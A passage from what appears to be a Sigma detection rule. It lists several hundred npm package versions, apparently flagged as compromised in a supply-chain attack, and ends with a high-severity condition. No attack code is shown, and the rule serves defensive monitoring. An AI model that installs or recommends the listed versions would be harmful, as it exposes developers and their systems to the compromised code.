            - 'esbuild-plugin-httpfile@0.4.1'
            - 'eslint-config-kinvey-flex-service@0.1.1'
            - 'eslint-config-nitpicky@4.0.1'
            - 'eslint-config-trigo@22.0.2'
            - 'eslint-config-zeallat-base@1.0.4'
            - 'ethereum-ens@0.8.1'
            - 'evm-checkcode-cli@1.0.12'
            - 'evm-checkcode-cli@1.0.13'
            - 'evm-checkcode-cli@1.0.14'
            - 'evm-checkcode-cli@1.0.15'
            - 'exact-ticker@0.3.5'
            - 'expo-audio-session@0.2.1'
            - 'expo-router-on-rails@0.0.4'
            - 'express-starter-template@1.0.10'
            - 'expressos@1.1.3'
            - 'fat-fingered@1.0.1'
            - 'fat-fingered@1.0.2'
            - 'feature-flip@1.0.1'
            - 'feature-flip@1.0.2'
            - 'firestore-search-engine@1.2.3'
            - 'fittxt@1.0.2'
            - 'fittxt@1.0.3'
            - 'flapstacks@1.0.1'
            - 'flapstacks@1.0.2'
            - 'flatten-unflatten@1.0.1'
            - 'flatten-unflatten@1.0.2'
            - 'formik-error-focus@2.0.1'
            - 'formik-store@1.0.1'
            - 'frontity-starter-theme@1.0.1'
            - 'fuzzy-finder@1.0.5'
            - 'fuzzy-finder@1.0.6'
            - 'gate-evm-check-code2@2.0.3'
            - 'gate-evm-check-code2@2.0.4'
            - 'gate-evm-check-code2@2.0.5'
            - 'gate-evm-check-code2@2.0.6'
            - 'gate-evm-tools-test@1.0.5'
            - 'gate-evm-tools-test@1.0.6'
            - 'gate-evm-tools-test@1.0.7'
            - 'gate-evm-tools-test@1.0.8'
            - 'gatsby-plugin-antd@2.2.1'
            - 'gatsby-plugin-cname@1.0.1'
            - 'gatsby-plugin-cname@1.0.2'
            - 'generator-meteor-stock@0.1.6'
            - 'generator-ng-itobuz@0.0.15'
            - 'get-them-args@1.3.3'
            - 'github-action-for-generator@2.1.27'
            - 'github-action-for-generator@2.1.28'
            - 'gitsafe@1.0.5'
            - 'go-template@0.1.8'
            - 'go-template@0.1.9'
            - 'gulp-inject-envs@1.2.1'
            - 'gulp-inject-envs@1.2.2'
            - 'haufe-axera-api-client@0.0.1'
            - 'haufe-axera-api-client@0.0.2'
            - 'hope-mapboxdraw@0.1.1'
            - 'hopedraw@1.0.3'
            - 'hover-design-prototype@0.0.5'
            - 'httpness@1.0.2'
            - 'httpness@1.0.3'
            - 'hyper-fullfacing@1.0.3'
            - 'hyperterm-hipster@1.0.7'
            - 'ids-css@1.5.1'
            - 'ids-enterprise-mcp-server@0.0.2'
            - 'ids-enterprise-ng@20.1.6'
            - 'ids-enterprise-typings@20.1.6'
            - 'image-to-uri@1.0.1'
            - 'image-to-uri@1.0.2'
            - 'insomnia-plugin-random-pick@1.0.4'
            - 'invo@0.2.2'
            - 'iron-shield-miniapp@0.0.2'
            - 'ito-button@8.0.3'
            - 'itobuz-angular-auth@8.0.11'
            - 'itobuz-angular-button@8.0.11'
            - 'itobuz-angular@0.0.1'
            - 'jacob-zuma@1.0.1'
            - 'jacob-zuma@1.0.2'
            - 'jaetut-varit-test@1.0.2'
            - 'jan-browser@0.13.1'
            - 'jquery-bindings@1.1.2'
            - 'jquery-bindings@1.1.3'
            - 'jsonsurge@1.0.7'
            - 'just-toasty@1.7.1'
            - 'kill-port@2.0.2'
            - 'kill-port@2.0.3'
            - 'kinetix-default-token-list@1.0.5'
            - 'kinvey-cli-wrapper@0.3.1'
            - 'kinvey-flex-scripts@0.5.1'
            - 'kns-error-code@1.0.8'
            - 'korea-administrative-area-geo-json-util@1.0.7'
            - 'kwami@1.5.10'
            - 'kwami@1.5.9'
            - 'lang-codes@1.0.1'
            - 'lang-codes@1.0.2'
            - 'license-o-matic@1.2.1'
            - 'license-o-matic@1.2.2'
            - 'lint-staged-imagemin@1.3.1'
            - 'lint-staged-imagemin@1.3.2'
            - 'lite-serper-mcp-server@0.2.2'
            - 'lui-vue-test@0.70.9'
            - 'luno-api@1.2.3'
            - 'm25-transaction-utils@1.1.16'
            - 'manual-billing-system-miniapp-api@1.3.1'
            - 'mcp-use@1.4.2'
            - 'mcp-use@1.4.3'
            - 'medusa-plugin-announcement@0.0.3'
            - 'medusa-plugin-logs@0.0.17'
            - 'medusa-plugin-momo@0.0.68'
            - 'medusa-plugin-product-reviews-kvy@0.0.4'
            - 'medusa-plugin-zalopay@0.0.40'
            - 'mod10-check-digit@1.0.1'
            - 'mon-package-react-typescript@1.0.1'
            - 'my-saeed-lib@0.1.1'
            - 'n8n-nodes-tmdb@0.5.1'
            - 'n8n-nodes-vercel-ai-sdk@0.1.7'
            - 'n8n-nodes-viral-app@0.2.5'
            - 'nanoreset@7.0.1'
            - 'nanoreset@7.0.2'
            - 'next-circular-dependency@1.0.2'
            - 'next-circular-dependency@1.0.3'
            - 'next-simple-google-analytics@1.1.1'
            - 'next-simple-google-analytics@1.1.2'
            - 'next-styled-nprogress@1.0.4'
            - 'next-styled-nprogress@1.0.5'
            - 'ngx-useful-swiper-prosenjit@9.0.2'
            - 'ngx-wooapi@12.0.1'
            - 'nitro-graphql@1.5.12'
            - 'nitro-kutu@0.1.1'
            - 'nitrodeploy@1.0.8'
            - 'nitroping@0.1.1'
            - 'normal-store@1.3.1'
            - 'normal-store@1.3.2'
            - 'normal-store@1.3.3'
            - 'normal-store@1.3.4'
            - 'nuxt-keycloak@0.2.2'
            - 'obj-to-css@1.0.2'
            - 'obj-to-css@1.0.3'
            - 'okta-react-router-6@5.0.1'
            - 'open2internet@0.1.1'
            - 'orbit-boxicons@2.1.3'
            - 'orbit-nebula-draw-tools@1.0.10'
            - 'orbit-nebula-editor@1.0.2'
            - 'orbit-soap@0.43.13'
            - 'orchestrix@12.1.2'
            - 'package-tester@1.0.1'
            - 'parcel-plugin-asset-copier@1.1.2'
            - 'parcel-plugin-asset-copier@1.1.3'
            - 'pdf-annotation@0.0.2'
            - 'pergel@0.13.2'
            - 'pergeltest@0.0.25'
            - 'piclite@1.0.1'
            - 'pico-uid@1.0.3'
            - 'pico-uid@1.0.4'
            - 'pkg-readme@1.1.1'
            - 'poper-react-sdk@0.1.2'
            - 'posthog-docusaurus@2.0.6'
            - 'posthog-js@1.297.3'
            - 'posthog-node@4.18.1'
            - 'posthog-node@5.11.3'
            - 'posthog-node@5.13.3'
            - 'posthog-plugin-hello-world@1.0.1'
            - 'posthog-react-native-session-replay@1.2.2'
            - 'posthog-react-native@4.11.1'
            - 'posthog-react-native@4.12.5'
            - 'prime-one-table@0.0.19'
            - 'prompt-eng-server@1.0.18'
            - 'prompt-eng@1.0.50'
            - 'puny-req@1.0.3'
            - 'quickswap-ads-list@1.0.33'
            - 'quickswap-default-staking-list-address@1.0.55'
            - 'quickswap-default-staking-list@1.0.11'
            - 'quickswap-default-token-list@1.5.16'
            - 'quickswap-router-sdk@1.0.1'
            - 'quickswap-sdk@3.0.44'
            - 'quickswap-smart-order-router@1.0.1'
            - 'quickswap-token-lists@1.0.3'
            - 'quickswap-v2-sdk@2.0.1'
            - 'ra-auth-firebase@1.0.3'
            - 'ra-data-firebase@1.0.7'
            - 'ra-data-firebase@1.0.8'
            - 'react-component-taggers@0.1.9'
            - 'react-data-to-export@1.0.1'
            - 'react-element-prompt-inspector@0.1.18'
            - 'react-favic@1.0.2'
            - 'react-hook-form-persist@3.0.1'
            - 'react-hook-form-persist@3.0.2'
            - 'react-jam-icons@1.0.1'
            - 'react-jam-icons@1.0.2'
            - 'react-keycloak-context@1.0.8'
            - 'react-keycloak-context@1.0.9'
            - 'react-library-setup@0.0.6'
            - 'react-linear-loader@1.0.2'
            - 'react-micromodal.js@1.0.1'
            - 'react-micromodal.js@1.0.2'
            - 'react-native-datepicker-modal@1.3.1'
            - 'react-native-datepicker-modal@1.3.2'
            - 'react-native-email@2.1.1'
            - 'react-native-email@2.1.2'
            - 'react-native-fetch@2.0.1'
            - 'react-native-fetch@2.0.2'
            - 'react-native-get-pixel-dimensions@1.0.1'
            - 'react-native-get-pixel-dimensions@1.0.2'
            - 'react-native-google-maps-directions@2.1.2'
            - 'react-native-jam-icons@1.0.1'
            - 'react-native-jam-icons@1.0.2'
            - 'react-native-log-level@1.2.1'
            - 'react-native-log-level@1.2.2'
            - 'react-native-modest-checkbox@3.3.1'
            - 'react-native-modest-storage@2.1.1'
            - 'react-native-phone-call@1.2.1'
            - 'react-native-phone-call@1.2.2'
            - 'react-native-retriable-fetch@2.0.1'
            - 'react-native-retriable-fetch@2.0.2'
            - 'react-native-use-modal@1.0.3'
            - 'react-native-view-finder@1.2.1'
            - 'react-native-view-finder@1.2.2'
            - 'react-native-websocket@1.0.3'
            - 'react-native-websocket@1.0.4'
            - 'react-native-worklet-functions@3.3.3'
            - 'react-packery-component@1.0.3'
            - 'react-qr-image@1.1.1'
            - 'react-scrambled-text@1.0.4'
            - 'rediff-viewer@0.0.7'
            - 'rediff@1.0.5'
            - 'redux-forge@2.5.3'
            - 'redux-router-kit@1.2.2'
            - 'redux-router-kit@1.2.3'
            - 'redux-router-kit@1.2.4'
            - 'revenuecat@1.0.1'
            - 'rollup-plugin-httpfile@0.2.1'
            - 'sa-company-registration-number-regex@1.0.1'
            - 'sa-company-registration-number-regex@1.0.2'
            - 'sa-id-gen@1.0.4'
            - 'sa-id-gen@1.0.5'
            - 'samesame@1.0.3'
            - 'scgs-capacitor-subscribe@1.0.11'
            - 'scgsffcreator@1.0.5'
            - 'schob@1.0.3'
            - 'selenium-session-client@1.0.4'
            - 'selenium-session@1.0.5'
            - 'set-nested-prop@2.0.1'
            - 'set-nested-prop@2.0.2'
            - 'shelf-jwt-sessions@0.1.2'
            - 'shell-exec@1.1.3'
            - 'shell-exec@1.1.4'
            - 'shinhan-limit-scrap@1.0.3'
            - 'silgi@0.43.30'
            - 'simplejsonform@1.0.1'
            - 'skills-use@0.1.1'
            - 'skills-use@0.1.2'
            - 'solomon-api-stories@1.0.2'
            - 'solomon-v3-stories@1.15.6'
            - 'solomon-v3-ui-wrapper@1.6.1'
            - 'soneium-acs@1.0.1'
            - 'sort-by-distance@2.0.1'
            - 'south-african-id-info@1.0.2'
            - 'stat-fns@1.0.1'
            - 'stoor@2.3.2'
            - 'sufetch@0.4.1'
            - 'super-commit@1.0.1'
            - 'svelte-autocomplete-select@1.1.1'
            - 'svelte-toasty@1.1.2'
            - 'svelte-toasty@1.1.3'
            - 'tanstack-shadcn-table@1.1.5'
            - 'tavily-module@1.0.1'
            - 'tcsp-draw-test@1.0.5'
            - 'tcsp-test-vd@2.4.4'
            - 'tcsp@2.0.2'
            - 'template-lib@1.1.3'
            - 'template-lib@1.1.4'
            - 'template-micro-service@1.0.2'
            - 'template-micro-service@1.0.3'
            - 'tenacious-fetch@2.3.2'
            - 'tenacious-fetch@2.3.3'
            - 'test-foundry-app@1.0.1'
            - 'test-foundry-app@1.0.2'
            - 'test-foundry-app@1.0.3'
            - 'test-foundry-app@1.0.4'
            - 'test-hardhat-app@1.0.1'
            - 'test-hardhat-app@1.0.2'
            - 'test-hardhat-app@1.0.3'
            - 'test-hardhat-app@1.0.4'
            - 'test23112222-api@1.0.1'
            - 'tiaan@1.0.2'
            - 'tiptap-shadcn-vue@0.2.1'
            - 'token.js-fork@0.7.32'
            - 'toonfetch@0.3.2'
            - 'trigo-react-app@4.1.2'
            - 'ts-relay-cursor-paging@2.1.1'
            - 'typeface-antonio-complete@1.0.5'
            - 'typefence@1.2.2'
            - 'typefence@1.2.3'
            - 'typeorm-orbit@0.2.27'
            - 'unadapter@0.1.3'
            - 'undefsafe-typed@1.0.3'
            - 'undefsafe-typed@1.0.4'
            - 'unemail@0.3.1'
            - 'uniswap-router-sdk@1.6.2'
            - 'uniswap-smart-order-router@3.16.26'
            - 'uniswap-test-sdk-core@4.0.8'
            - 'unsearch@0.0.3'
            - 'uplandui@0.5.4'
            - 'upload-to-play-store@1.0.1'
            - 'upload-to-play-store@1.0.2'
            - 'url-encode-decode@1.0.1'
            - 'url-encode-decode@1.0.2'
            - 'use-unsaved-changes@1.0.9'
            - 'v-plausible@1.2.1'
            - 'valid-south-african-id@1.0.3'
            - 'valuedex-sdk@3.0.5'
            - 'vf-oss-template@1.0.1'
            - 'vf-oss-template@1.0.2'
            - 'vf-oss-template@1.0.3'
            - 'vf-oss-template@1.0.4'
            - 'victoria-wallet-constants@0.1.1'
            - 'victoria-wallet-constants@0.1.2'
            - 'victoria-wallet-core@0.1.1'
            - 'victoria-wallet-core@0.1.2'
            - 'victoria-wallet-type@0.1.1'
            - 'victoria-wallet-type@0.1.2'
            - 'victoria-wallet-utils@0.1.1'
            - 'victoria-wallet-utils@0.1.2'
            - 'victoria-wallet-validator@0.1.1'
            - 'victoria-wallet-validator@0.1.2'
            - 'victoriaxoaquyet-wallet-core@0.2.1'
            - 'victoriaxoaquyet-wallet-core@0.2.2'
            - 'vite-plugin-httpfile@0.2.1'
            - 'vue-browserupdate-nuxt@1.0.5'
            - 'wallet-evm@0.3.1'
            - 'wallet-evm@0.3.2'
            - 'wallet-type@0.1.1'
            - 'wallet-type@0.1.2'
            - 'web-scraper-mcp@1.1.4'
            - 'web-types-htmx@0.1.1'
            - 'web-types-lit@0.1.1'
            - 'webpack-loader-httpfile@0.2.1'
            - 'wellness-expert-ng-gallery@5.1.1'
            - 'wenk@1.0.10'
            - 'wenk@1.0.9'
            - 'zapier-async-storage@1.0.1'
            - 'zapier-async-storage@1.0.2'
            - 'zapier-async-storage@1.0.3'
            - 'zapier-platform-cli@18.0.2'
            - 'zapier-platform-cli@18.0.3'
            - 'zapier-platform-cli@18.0.4'
            - 'zapier-platform-core@18.0.2'
            - 'zapier-platform-core@18.0.3'
            - 'zapier-platform-core@18.0.4'
            - 'zapier-platform-legacy-scripting-runner@4.0.2'
            - 'zapier-platform-legacy-scripting-runner@4.0.3'
            - 'zapier-platform-legacy-scripting-runner@4.0.4'
            - 'zapier-platform-schema@18.0.2'
            - 'zapier-platform-schema@18.0.3'
            - 'zapier-platform-schema@18.0.4'
            - 'zapier-scripts@7.8.3'
            - 'zapier-scripts@7.8.4'
            - 'zuper-cli@1.0.1'
            - 'zuper-sdk@1.0.57'
            - 'zuper-stream@2.0.9'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high